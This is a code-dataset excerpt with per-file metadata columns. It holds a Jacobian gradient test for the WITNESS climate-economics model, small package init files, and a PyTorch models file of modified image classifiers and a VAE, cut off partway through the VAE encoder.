| 41.603448 | 112 | 0.568587 | 309 | 2,413 | 4.38835 | 0.239482 | 0.033186 | 0.084071 | 0.09292 | 0.842183 | 0.842183 | 0.842183 | 0.842183 | 0.842183 | 0.842183 | 0 | 0.018788 | 0.316204 | 2,413 | 57 | 113 | 42.333333 | 0.80303 | 0 | 0 | 0.679245 | 0 | 0 | 0.552424 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.037736 | false | 0 | 0.037736 | 0 | 0.150943 | 0.622642 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 7 |
708590fadbe0f184bf2c95c9e09054bd4943b540 | 41 | py | Python | nwb_tools/__init__.py | NeurodataWithoutBorders/nwbtrim | 22739cdb169c4c666e8b43caf26038dae1f31d82 | [
"BSD-3-Clause-LBNL"
] | null | null | null | nwb_tools/__init__.py | NeurodataWithoutBorders/nwbtrim | 22739cdb169c4c666e8b43caf26038dae1f31d82 | [
"BSD-3-Clause-LBNL"
] | 3 | 2021-09-11T05:00:28.000Z | 2022-03-23T16:18:11.000Z | nwb_tools/__init__.py | NeurodataWithoutBorders/nwbtrim | 22739cdb169c4c666e8b43caf26038dae1f31d82 | [
"BSD-3-Clause-LBNL"
] | null | null | null | from .nwb_ls import nwb_ls # noqa: F401
| 20.5 | 40 | 0.731707 | 8 | 41 | 3.5 | 0.75 | 0.357143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.090909 | 0.195122 | 41 | 1 | 41 | 41 | 0.757576 | 0.243902 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
709253fdf116652a0293260818560c7b0394ea74 | 25,008 | py | Python | climateeconomics/tests/utility_tests/_l2_test_gradient_witness_coarse.py | os-climate/witness-core | 3ef9a44d86804c5ad57deec3c9916348cb3bfbb8 | [
"MIT",
"Apache-2.0",
"BSD-3-Clause"
] | 1 | 2022-01-14T06:37:42.000Z | 2022-01-14T06:37:42.000Z | climateeconomics/tests/utility_tests/_l2_test_gradient_witness_coarse.py | os-climate/witness-core | 3ef9a44d86804c5ad57deec3c9916348cb3bfbb8 | [
"MIT",
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | climateeconomics/tests/utility_tests/_l2_test_gradient_witness_coarse.py | os-climate/witness-core | 3ef9a44d86804c5ad57deec3c9916348cb3bfbb8 | [
"MIT",
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | '''
Copyright 2022 Airbus SAS
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
'''
from os.path import join, dirname, exists
import numpy as np
import pandas as pd
from sos_trades_core.execution_engine.execution_engine import ExecutionEngine
from sos_trades_core.tests.core.abstract_jacobian_unit_test import AbstractJacobianUnittest
from climateeconomics.sos_processes.iam.witness.witness_optim_sub_process.usecase_witness_optim_sub import Study as witness_sub_proc_usecase
from climateeconomics.sos_processes.iam.witness.witness_coarse.usecase_witness_coarse_new import Study as witness_coarse_usecase
import unittest
from energy_models.core.energy_study_manager import DEFAULT_COARSE_TECHNO_DICT
from energy_models.core.energy_process_builder import INVEST_DISCIPLINE_OPTIONS
class WitnessCoarseJacobianDiscTest(AbstractJacobianUnittest):
#AbstractJacobianUnittest.DUMP_JACOBIAN = True
obj_const = ['welfare_objective', 'min_utility_objective', 'temperature_objective', 'CO2_objective', 'ppm_objective',
'total_prod_minus_min_prod_constraint_df', 'co2_emissions_objective', 'energy_production_objective', 'syngas_prod_objective', 'land_demand_constraint_df']
def setUp(self):
self.name = 'Test'
self.ee = ExecutionEngine(self.name)
def analytic_grad_entry(self):
'''
'''
return [
]
def test_02_gradient_objective_constraint_wrt_design_var_on_witness_coarse_subprocess_wofuncmanager(self):
'''
Test on the witness full MDA + design var to get bspline without func manager
If strong coupling we cannot check the adjoint then if we delete the func manager
we can test over all constraint and objectives with the efficiency of bsplines compared to test 1
'''
self.name = 'Test'
self.ee = ExecutionEngine(self.name)
coupling_name = "WITNESS_Eval"
designvariable_name = "DesignVariables"
extra_name = 'WITNESS'
# retrieve energy process
chain_builders = self.ee.factory.get_builder_from_process(
'climateeconomics.sos_processes.iam.witness', 'witness', techno_dict=DEFAULT_COARSE_TECHNO_DICT, invest_discipline=INVEST_DISCIPLINE_OPTIONS[0])
# modify namespaces defined in the child process
self.ee.ns_manager.update_namespace_list_with_extra_ns(
extra_name, after_name=self.ee.study_name)
self.ee.factory.update_builder_list_with_extra_name(
extra_name, builder_list=chain_builders)
# design variables builder
design_var_path = 'climateeconomics.core.design_variables_translation.witness_bspline.design_var_disc.Design_Var_Discipline'
design_var_builder = self.ee.factory.get_builder_from_module(
f'{designvariable_name}', design_var_path)
chain_builders.append(design_var_builder)
# modify namespaces defined in the child process
for ns in self.ee.ns_manager.ns_list:
self.ee.ns_manager.update_namespace_with_extra_ns(
ns, coupling_name, after_name=self.ee.study_name)
ns_dict = {'ns_functions': f'{self.ee.study_name}.{coupling_name}.{extra_name}',
'ns_public': f'{self.ee.study_name}',
'ns_optim': f'{self.ee.study_name}'}
self.ee.ns_manager.add_ns_def(ns_dict)
# create coupling builder
coupling_builder = self.ee.factory.create_builder_coupling(
coupling_name)
coupling_builder.set_builder_info('cls_builder', chain_builders)
coupling_builder.set_builder_info('with_data_io', True)
self.ee.factory.set_builders_to_coupling_builder(coupling_builder)
self.ee.configure()
usecase = witness_sub_proc_usecase(
bspline=True, execution_engine=self.ee, techno_dict=DEFAULT_COARSE_TECHNO_DICT, invest_discipline=INVEST_DISCIPLINE_OPTIONS[0])
usecase.study_name = self.name
values_dict = usecase.setup_usecase()
full_values_dict = {}
for dict_v in values_dict:
full_values_dict.update(dict_v)
full_values_dict[f'{self.name}.{usecase.coupling_name}.tolerance_linear_solver_MDO'] = 1.0e-12
full_values_dict[f'{self.name}.{usecase.coupling_name}.linearization_mode'] = 'adjoint'
full_values_dict[f'{self.name}.{usecase.coupling_name}.warm_start'] = False
full_values_dict[f'{self.name}.{usecase.coupling_name}.tolerance'] = 1.0e-12
full_values_dict[f'{self.name}.{usecase.coupling_name}.chain_linearize'] = False
full_values_dict[f'{self.name}.{usecase.coupling_name}.sub_mda_class'] = 'MDAGaussSeidel'
self.ee.load_study_from_input_dict(full_values_dict)
disc = self.ee.root_process.sos_disciplines[0]
output_full_names = [
f'{self.name}.{usecase.coupling_name}.{usecase.extra_name}.{obj}' for obj in self.obj_const]
input_full_names = [
f'{self.name}.{usecase.coupling_name}.{usecase.extra_name}.CO2_taxes',
f'{self.name}.{usecase.coupling_name}.{usecase.extra_name}.livestock_usage_factor_array']
for energy in full_values_dict[f'{self.name}.{usecase.coupling_name}.{usecase.extra_name}.energy_list']:
energy_wo_dot = energy.replace('.', '_')
input_full_names.append(
f'{self.name}.{usecase.coupling_name}.{usecase.extra_name}.EnergyMix.{energy}.{energy_wo_dot}_array_mix')
for technology in full_values_dict[f'{self.name}.{usecase.coupling_name}.{usecase.extra_name}.EnergyMix.{energy}.technologies_list']:
technology_wo_dot = technology.replace('.', '_')
input_full_names.append(
f'{self.name}.{usecase.coupling_name}.{usecase.extra_name}.EnergyMix.{energy}.{technology}.{energy_wo_dot}_{technology_wo_dot}_array_mix')
for energy in full_values_dict[f'{self.name}.{usecase.coupling_name}.{usecase.extra_name}.ccs_list']:
energy_wo_dot = energy.replace('.', '_')
input_full_names.append(
f'{self.name}.{usecase.coupling_name}.{usecase.extra_name}.CCUS.{energy}.{energy_wo_dot}_array_mix')
for technology in full_values_dict[f'{self.name}.{usecase.coupling_name}.{usecase.extra_name}.CCUS.{energy}.technologies_list']:
technology_wo_dot = technology.replace('.', '_')
input_full_names.append(
f'{self.name}.{usecase.coupling_name}.{usecase.extra_name}.CCUS.{energy}.{technology}.{energy_wo_dot}_{technology_wo_dot}_array_mix')
disc_techno = self.ee.root_process.sos_disciplines[0]
disc_techno.check_jacobian(derr_approx='complex_step', inputs=input_full_names,
outputs=output_full_names,
load_jac_path=join(dirname(__file__), 'jacobian_pkls',
f'jacobian_objectives_constraint_wrt_design_var_on_witness_coarse.pkl'))
def test_03_gradient_lagrangian_objective_wrt_design_var_on_witness_coarse_subprocess(self):
'''
Test on the witness full MDA + design var to get bspline with func manager
we can test only lagrangian objective vs design var
'''
self.name = 'Test'
self.ee = ExecutionEngine(self.name)
builder = self.ee.factory.get_builder_from_process(
'climateeconomics.sos_processes.iam.witness', 'witness', techno_dict=DEFAULT_COARSE_TECHNO_DICT, invest_discipline=INVEST_DISCIPLINE_OPTIONS[0])
self.ee.factory.set_builders_to_coupling_builder(builder)
self.ee.configure()
usecase = witness_sub_proc_usecase(
bspline=True, execution_engine=self.ee, techno_dict=DEFAULT_COARSE_TECHNO_DICT, invest_discipline=INVEST_DISCIPLINE_OPTIONS[0])
usecase.study_name = self.name
values_dict = usecase.setup_usecase()
full_values_dict = {}
for dict_v in values_dict:
full_values_dict.update(dict_v)
full_values_dict[f'{self.name}.{usecase.coupling_name}.tolerance_linear_solver_MDO'] = 1.0e-12
full_values_dict[f'{self.name}.{usecase.coupling_name}.linearization_mode'] = 'adjoint'
full_values_dict[f'{self.name}.{usecase.coupling_name}.warm_start'] = False
full_values_dict[f'{self.name}.{usecase.coupling_name}.tolerance'] = 1.0e-12
full_values_dict[f'{self.name}.{usecase.coupling_name}.chain_linearize'] = False
full_values_dict[f'{self.name}.{usecase.coupling_name}.sub_mda_class'] = 'MDAGaussSeidel'
self.ee.load_study_from_input_dict(full_values_dict)
disc = self.ee.root_process.sos_disciplines[0]
output_full_names = [
f'{self.name}.objective_lagrangian']
input_full_names = [
f'{self.name}.{usecase.coupling_name}.{usecase.extra_name}.CO2_taxes',
f'{self.name}.{usecase.coupling_name}.{usecase.extra_name}.livestock_usage_factor_array']
for energy in full_values_dict[f'{self.name}.{usecase.coupling_name}.{usecase.extra_name}.energy_list']:
energy_wo_dot = energy.replace('.', '_')
input_full_names.append(
f'{self.name}.{usecase.coupling_name}.{usecase.extra_name}.EnergyMix.{energy}.{energy_wo_dot}_array_mix')
for technology in full_values_dict[f'{self.name}.{usecase.coupling_name}.{usecase.extra_name}.EnergyMix.{energy}.technologies_list']:
technology_wo_dot = technology.replace('.', '_')
input_full_names.append(
f'{self.name}.{usecase.coupling_name}.{usecase.extra_name}.EnergyMix.{energy}.{technology}.{energy_wo_dot}_{technology_wo_dot}_array_mix')
for energy in full_values_dict[f'{self.name}.{usecase.coupling_name}.{usecase.extra_name}.ccs_list']:
energy_wo_dot = energy.replace('.', '_')
input_full_names.append(
f'{self.name}.{usecase.coupling_name}.{usecase.extra_name}.CCUS.{energy}.{energy_wo_dot}_array_mix')
for technology in full_values_dict[f'{self.name}.{usecase.coupling_name}.{usecase.extra_name}.CCUS.{energy}.technologies_list']:
technology_wo_dot = technology.replace('.', '_')
input_full_names.append(
f'{self.name}.{usecase.coupling_name}.{usecase.extra_name}.CCUS.{energy}.{technology}.{energy_wo_dot}_{technology_wo_dot}_array_mix')
self.ee.display_treeview_nodes(display_variables=True)
disc_techno = self.ee.root_process.sos_disciplines[0]
disc_techno.check_jacobian(derr_approx='complex_step', inputs=input_full_names,
outputs=output_full_names,
load_jac_path=join(dirname(__file__), 'jacobian_pkls',
f'jacobian_lagrangian_objective_wrt_design_var_on_witness_coarse.pkl'))
if disc.jac is not None:
print(disc.jac[output_full_names[0]])
def test_05_gradient_witness_coarse_eachdiscipline(self):
'''
Test on the witness full MDA + design var to get bspline with func manager
we can test only lagrangian objective vs design var
Need to checkout to gems_without_cache in gems repository
'''
self.name = 'Test'
self.ee = ExecutionEngine(self.name)
builder = self.ee.factory.get_builder_from_process(
'climateeconomics.sos_processes.iam.witness', 'witness', techno_dict=DEFAULT_COARSE_TECHNO_DICT, invest_discipline=INVEST_DISCIPLINE_OPTIONS[0])
self.ee.factory.set_builders_to_coupling_builder(builder)
self.ee.configure()
usecase = witness_coarse_usecase(
bspline=True, execution_engine=self.ee, techno_dict=DEFAULT_COARSE_TECHNO_DICT, invest_discipline=INVEST_DISCIPLINE_OPTIONS[0])
usecase.study_name = self.name
values_dict = usecase.setup_usecase()
full_values_dict = {}
for dict_v in values_dict:
full_values_dict.update(dict_v)
full_values_dict[f'{self.name}.tolerance_linear_solver_MDO'] = 1.0e-12
full_values_dict[f'{self.name}.linearization_mode'] = 'adjoint'
full_values_dict[f'{self.name}.warm_start'] = False
full_values_dict[f'{self.name}.tolerance'] = 1.0e-10
full_values_dict[f'{self.name}.chain_linearize'] = False
full_values_dict[f'{self.name}.sub_mda_class'] = 'GSNewtonMDA'
full_values_dict[f'{self.name}.max_mda_iter'] = 1
self.ee.load_study_from_input_dict(full_values_dict)
# self.ee.execute()
full_values_dict = {}
full_values_dict[f'{self.name}.CCUS.ccs_percentage'] = pd.DataFrame(
{'years': np.arange(2020, 2101), 'ccs_percentage': 25})
full_values_dict[f'{self.name}.sub_mda_class'] = 'GSNewtonMDA'
full_values_dict[f'{self.name}.max_mda_iter'] = 1
self.ee.load_study_from_input_dict(full_values_dict)
disc = self.ee.root_process.sos_disciplines[0]
values_dict_design_var = {}
df_xvect = pd.read_csv(
join(dirname(__file__), 'data', 'design_space_last_ite_coarse.csv'))
for i, row in df_xvect.iterrows():
try:
ns_var = self.ee.dm.get_all_namespaces_from_var_name(
row['variable'])[0]
values_dict_design_var[ns_var] = np.asarray(
row['value'][1:-1].split(', '), dtype=float)
except:
pass
dspace_df = df_xvect
self.ee.load_study_from_input_dict(values_dict_design_var)
i = 0
self.ee.execute()
ns = self.ee.dm.get_all_namespaces_from_var_name('energy_list')[0]
energy_list = self.ee.dm.get_value(ns)
inputs_names = [
f'{self.name}.WITNESS_Eval.WITNESS.EnergyMix.{energy}.energy_prices' for energy in energy_list if energy not in ['carbon_capture', 'carbon_storage']]
inputs_names.extend([
f'{self.name}.WITNESS_Eval.WITNESS.EnergyMix.{energy}.energy_production' for energy in energy_list if energy not in ['carbon_capture', 'carbon_storage']])
inputs_names.extend(
[f'{self.name}.WITNESS_Eval.WITNESS.EnergyMix.{energy}.energy_consumption' for energy in energy_list if energy not in ['carbon_capture', 'carbon_storage']])
inputs_names.extend(
[f'{self.name}.WITNESS_Eval.WITNESS.CCUS.{energy}.energy_consumption' for energy in ['carbon_capture', 'carbon_storage']])
inputs_names.extend(
[f'{self.name}.WITNESS_Eval.WITNESS.CCUS.{energy}.energy_production' for energy in ['carbon_capture', 'carbon_storage']])
inputs_names.extend([
f'{self.name}.WITNESS_Eval.WITNESS.CCUS.{energy}.energy_prices' for energy in ['carbon_capture', 'carbon_storage']])
inputs_names.extend(
[f'{self.name}.WITNESS_Eval.WITNESS.EnergyMix.syngas.syngas_ratio'])
i = 0
for disc in self.ee.root_process.sos_disciplines:
# disc = self.ee.dm.get_disciplines_with_name(
# f'{self.name}.{usecase.coupling_name}.WITNESS.EnergyMix')[0]
outputs = disc.get_output_data_names()
outputs = [output for output in outputs if self.ee.dm.get_data(output, 'coupling')
and not output.endswith('all_streams_demand_ratio')]
if disc.name == 'FunctionsManager':
outputs.append(self.ee.dm.get_all_namespaces_from_var_name(
'objective_lagrangian')[0])
inputs = disc.get_input_data_names()
inputs = [input for input in inputs if self.ee.dm.get_data(input, 'coupling')
and not input.endswith('resources_price')
and not input.endswith('resources_CO2_emissions')
and not input.endswith('all_streams_demand_ratio')]
print(disc.name)
print(i)
if i not in [63, 64]:
print('*********************')
print(inputs)
print(outputs)
pkl_name = f'jacobian_lagrangian_objective_wrt_design_var_on_witness_full_withx0csv_crash_{i}.pkl'
filepath = join(dirname(__file__), AbstractJacobianUnittest.PICKLE_DIRECTORY, 'l2_witness_full',
pkl_name)
if len(inputs) != 0:
if not exists(filepath):
self.ee.dm.delete_complex_in_df_and_arrays()
AbstractJacobianUnittest.DUMP_JACOBIAN = True
self.check_jacobian(location=dirname(__file__), filename=pkl_name, discipline=disc,
step=1.0e-15, derr_approx='complex_step', threshold=1e-5,
inputs=inputs,
outputs=outputs)
else:
AbstractJacobianUnittest.DUMP_JACOBIAN = False
self.check_jacobian(location=dirname(__file__), filename=pkl_name, discipline=disc,
step=1.0e-15, derr_approx='complex_step', threshold=1e-5,
inputs=inputs,
outputs=outputs)
i += 1
def test_06_gradient_witness_coarse_subprocess_each_discipline(self):
'''
Test on the witness full MDA + design var to get bspline with func manager
we can test only lagrangian objective vs design var
Need to checkout to gems_without_cache in gems repository
'''
self.name = 'Test'
self.ee = ExecutionEngine(self.name)
builder = self.ee.factory.get_builder_from_process(
'climateeconomics.sos_processes.iam.witness', 'witness_optim_sub_process', techno_dict=DEFAULT_COARSE_TECHNO_DICT, one_invest_discipline=True)
self.ee.factory.set_builders_to_coupling_builder(builder)
self.ee.configure()
usecase = witness_sub_proc_usecase(
execution_engine=self.ee, techno_dict=DEFAULT_COARSE_TECHNO_DICT, invest_discipline=INVEST_DISCIPLINE_OPTIONS[0])
usecase.study_name = self.name
values_dict = usecase.setup_usecase()
full_values_dict = {}
for dict_v in values_dict:
full_values_dict.update(dict_v)
full_values_dict[f'{self.name}.tolerance_linear_solver_MDO'] = 1.0e-12
full_values_dict[f'{self.name}.linearization_mode'] = 'adjoint'
full_values_dict[f'{self.name}.warm_start'] = False
full_values_dict[f'{self.name}.tolerance'] = 1.0e-10
full_values_dict[f'{self.name}.chain_linearize'] = False
full_values_dict[f'{self.name}.WITNESS_Eval.sub_mda_class'] = 'GSNewtonMDA'
full_values_dict[f'{self.name}.WITNESS_Eval.max_mda_iter'] = 2
self.ee.load_study_from_input_dict(full_values_dict)
values_dict_design_var = {}
df_xvect = pd.read_csv(
join(dirname(__file__), 'data', 'design_space_last_ite_coarse.csv'))
for i, row in df_xvect.iterrows():
try:
ns_var = self.ee.dm.get_all_namespaces_from_var_name(
row['variable'])[0]
values_dict_design_var[ns_var] = np.asarray(
row['value'][1:-1].split(', '), dtype=float)
except:
pass
dspace_df = df_xvect
self.ee.load_study_from_input_dict(values_dict_design_var)
self.ee.execute()
i = 0
for disc in self.ee.root_process.sos_disciplines[0].sos_disciplines:
outputs = disc.get_output_data_names()
outputs = [output for output in outputs if self.ee.dm.get_data(
output, 'coupling')]
inputs = disc.get_input_data_names()
inputs = [input for input in inputs if self.ee.dm.get_data(
input, 'coupling')]
print(disc.name)
print(i)
if i not in []:
print(inputs)
print(outputs)
pkl_name = f'jacobian_witness_coarse_subprocess_optim_eachdiscipline_{i}.pkl'
filepath = join(dirname(__file__), AbstractJacobianUnittest.PICKLE_DIRECTORY, 'l2_witness_full',
pkl_name)
if len(inputs) != 0:
if not exists(filepath):
self.ee.dm.delete_complex_in_df_and_arrays()
AbstractJacobianUnittest.DUMP_JACOBIAN = True
self.check_jacobian(location=dirname(__file__), filename=pkl_name, discipline=disc,
step=1.0e-15, derr_approx='complex_step', threshold=1e-5,
inputs=inputs,
outputs=outputs) # , filepath=filepath)
else:
AbstractJacobianUnittest.DUMP_JACOBIAN = False
self.check_jacobian(location=dirname(__file__), filename=pkl_name, discipline=disc,
step=1.0e-15, derr_approx='complex_step', threshold=1e-5,
inputs=inputs,
outputs=outputs) # , filepath=filepath)
i += 1
def test_06_gradient_witness_coarse_subprocess_each_discipline_bis(self):
'''
Test on the witness full MDA + design var to get bspline with func manager
we can test only lagrangian objective vs design var
Need to checkout to gems_without_cache in gems repository
'''
self.name = 'Test'
self.ee = ExecutionEngine(self.name)
builder = self.ee.factory.get_builder_from_process(
'climateeconomics.sos_processes.iam.witness', 'witness_coarse_process_one_distrib', techno_dict=DEFAULT_COARSE_TECHNO_DICT, one_invest_discipline=True)
self.ee.factory.set_builders_to_coupling_builder(builder)
self.ee.configure()
pkl_dict = pd.read_pickle(
join(dirname(__file__), 'data', 'dm_crash.pkl'))
inp_dict = {key.replace('usecase_witness_optim_invest_distrib',
self.name): value for key, value in pkl_dict.items()}
self.ee.load_study_from_dict(inp_dict)
i = 0
for disc in self.ee.root_process.sos_disciplines[0].sos_disciplines:
outputs = disc.get_output_data_names()
outputs = [output for output in outputs if self.ee.dm.get_data(
output, 'coupling')]
inputs = disc.get_input_data_names()
inputs = [input for input in inputs if self.ee.dm.get_data(
input, 'coupling')]
print(disc.name)
print(i)
if i not in []:
print(inputs)
print(outputs)
pkl_name = f'jacobian_witness_coarse_subprocess_optim_eachdiscipline_adjoint.pkl'
filepath = join(dirname(__file__), AbstractJacobianUnittest.PICKLE_DIRECTORY, 'l2_witness_full',
pkl_name)
if len(inputs) != 0:
if not exists(filepath):
self.ee.dm.delete_complex_in_df_and_arrays()
AbstractJacobianUnittest.DUMP_JACOBIAN = True
self.check_jacobian(location=dirname(__file__), filename=pkl_name, discipline=disc,
step=1.0e-15, derr_approx='complex_step', threshold=1e-5,
inputs=inputs,
outputs=outputs) # , filepath=filepath)
else:
AbstractJacobianUnittest.DUMP_JACOBIAN = False
self.check_jacobian(location=dirname(__file__), filename=pkl_name, discipline=disc,
step=1.0e-15, derr_approx='complex_step', threshold=1e-5,
inputs=inputs,
outputs=outputs) # , filepath=filepath)
i += 1
if '__main__' == __name__:
cls = WitnessCoarseJacobianDiscTest()
cls.test_06_gradient_witness_coarse_subprocess_each_discipline_bis()
| 51.883817 | 171 | 0.644994 | 3,028 | 25,008 | 4.982166 | 0.109643 | 0.040302 | 0.035198 | 0.036789 | 0.815127 | 0.794578 | 0.778934 | 0.756728 | 0.744399 | 0.717155 | 0 | 0.008018 | 0.256918 | 25,008 | 481 | 172 | 51.991684 | 0.803799 | 0.077855 | 0 | 0.731429 | 0 | 0.011429 | 0.24087 | 0.203871 | 0 | 0 | 0 | 0 | 0 | 1 | 0.02 | false | 0.005714 | 0.028571 | 0 | 0.057143 | 0.04 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
5695a2e7dacc4fe4b1ddeaaeb7a1bbb23d8a901b | 123 | py | Python | tests/fixtures/__init__.py | lmj1029123/schnetpack | 5b4c26f06db8fc9947d166840b5faba65519a11b | [
"MIT"
] | null | null | null | tests/fixtures/__init__.py | lmj1029123/schnetpack | 5b4c26f06db8fc9947d166840b5faba65519a11b | [
"MIT"
] | null | null | null | tests/fixtures/__init__.py | lmj1029123/schnetpack | 5b4c26f06db8fc9947d166840b5faba65519a11b | [
"MIT"
] | null | null | null | from .dataset_fixtures import *
from .dataloader_fixtures import *
from .atomistic import *
from .schnet_fixtures import *
| 24.6 | 34 | 0.804878 | 15 | 123 | 6.4 | 0.466667 | 0.4375 | 0.375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.130081 | 123 | 4 | 35 | 30.75 | 0.897196 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
3b3dcddae7e64a3e83a5efe64eba5a28f4a0df32 | 149 | py | Python | gala/integrate/cyintegrators/__init__.py | akeemlh/gala | 0fdaf9159bccc59af2a3525f2926e04501754f48 | [
"MIT"
] | 86 | 2016-05-19T21:58:43.000Z | 2022-03-22T14:56:37.000Z | gala/integrate/cyintegrators/__init__.py | akeemlh/gala | 0fdaf9159bccc59af2a3525f2926e04501754f48 | [
"MIT"
] | 170 | 2016-06-27T14:10:26.000Z | 2022-03-10T22:52:39.000Z | gala/integrate/cyintegrators/__init__.py | akeemlh/gala | 0fdaf9159bccc59af2a3525f2926e04501754f48 | [
"MIT"
] | 66 | 2016-09-13T07:31:29.000Z | 2022-03-08T15:08:45.000Z | from .dop853 import dop853_integrate_hamiltonian
from .leapfrog import leapfrog_integrate_hamiltonian
from .ruth4 import ruth4_integrate_hamiltonian
| 37.25 | 52 | 0.899329 | 18 | 149 | 7.111111 | 0.388889 | 0.46875 | 0.375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.058394 | 0.080537 | 149 | 3 | 53 | 49.666667 | 0.875912 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
8e58e41dc3ba11437200cca2cd49b0ee252a9c8c | 8,045 | py | Python | models.py | jkhebel/InsightProject | e1ba610edf428d47eb20bee34022b46807b969c7 | [
"MIT"
] | null | null | null | models.py | jkhebel/InsightProject | e1ba610edf428d47eb20bee34022b46807b969c7 | [
"MIT"
] | 9 | 2020-03-05T00:36:54.000Z | 2022-03-12T00:12:06.000Z | models.py | jkhebel/InsightProject | e1ba610edf428d47eb20bee34022b46807b969c7 | [
"MIT"
] | 1 | 2020-05-28T19:46:35.000Z | 2020-05-28T19:46:35.000Z | import torch
from torch import nn
import torchvision as tv
def VGG16(pretrained=False):
# Define Model
net = tv.models.vgg16(pretrained=pretrained, progress=True)
net.features[0] = torch.nn.Conv2d(5, 64, 3, stride=(1, 1), padding=(1, 1))
net.classifier[-1] = torch.nn.Linear(4096, 2, bias=True)
return net
def VGG19_BN(pretrained=False):
# Define Model
net = tv.models.vgg19_bn(pretrained=pretrained, progress=True)
net.features[0] = torch.nn.Conv2d(5, 64, 3, stride=(1, 1), padding=(1, 1))
net.classifier[-1] = torch.nn.Linear(4096, 2, bias=True)
return net
def RESNET50(pretrained=False):
# Define Model
net = tv.models.resnet50(pretrained=pretrained, progress=True)
net.fc = torch.nn.Linear(2048, 2, bias=True)
return net
def RESNET101(pretrained=False):
# Define Model
net = tv.models.resnet101(pretrained=pretrained, progress=True)
net.conv1 = torch.nn.Conv2d(5, 64, 7, stride=(2, 2), padding=(3, 3))
net.fc = torch.nn.Linear(2048, 2, bias=True)
return net
def RESNET152(pretrained=False):
# Define Model
net = tv.models.resnet152(pretrained=pretrained, progress=True)
net.conv1 = torch.nn.Conv2d(5, 64, 7, stride=(2, 2), padding=(3, 3))
net.fc = torch.nn.Linear(2048, 2, bias=True)
return net
def DENSENET161(pretrained=False):
# Define Model
net = tv.models.densenet161(pretrained=pretrained, progress=True)
net.conv1 = torch.nn.Conv2d(5, 96, 7, stride=(2, 2), padding=(3, 3))
net.classifier = torch.nn.Linear(2208, 2, bias=True)
return net
def MOBILENETV2(pretrained=False):
pretrained = False
net = tv.models.mobilenet_v2(pretrained=pretrained, progress=True)
net.features[0][0] = torch.nn.Conv2d(
5, 32, 3, stride=2, padding=1, bias=False)
net.classifier[-1] = torch.nn.Linear(1280, 2, bias=True)
return net
class Conv(nn.Module):
def __init__(self, in_channels, out_channels,
kernel_size, stride=1, padding=0):
super(Conv, self).__init__()
self.conv = nn.Sequential(
nn.Conv2d(in_channels, out_channels, kernel_size,
stride, padding, bias=False),
nn.BatchNorm2d(out_channels),
nn.Dropout(),
nn.ReLU()
)
def forward(self, x):
return self.conv(x)
class ConvT(nn.Module):
def __init__(self, in_channels, out_channels,
kernel_size, stride=1, padding=0):
super(ConvT, self).__init__()
self.conv = nn.Sequential(
nn.ConvTranspose2d(in_channels, out_channels,
kernel_size, stride, padding,
bias=False),
nn.BatchNorm2d(out_channels),
nn.Dropout(),
nn.ReLU()
)
def forward(self, x):
return self.conv(x)
class Flatten(nn.Module):
def forward(self, input):
return input.view(input.size(0), -1)
class unFlatten(nn.Module):
def forward(self, input):
return input.view(input.size(0), -1, 8, 8)
class VAE(nn.Module):
def __init__(self, n_layers=6, base=16, lf=128, n_channels=5):
super(VAE, self).__init__()
self.encoder = nn.Sequential(
Conv(3, base, 3, stride=2, padding=1), # 256
Conv(base, 2 * base, 5, padding=2),
Conv(2 * base, 2 * base, 3, stride=2, padding=1), # 128
Conv(2 * base, 2 * base, 5, padding=2),
Conv(2 * base, 2 * base, 3, stride=2, padding=1), # 64
Conv(2 * base, 4 * base, 5, padding=2),
Conv(4 * base, 4 * base, 3, stride=2, padding=1), # 32
Conv(4 * base, 4 * base, 5, padding=2),
Conv(4 * base, 4 * base, 3, stride=2, padding=1), # 16
Conv(4 * base, 4 * base, 5, padding=2),
Conv(4 * base, 4 * base, 3, stride=2, padding=1), # 8
Conv(4 * base, 4 * base, 5, padding=2),
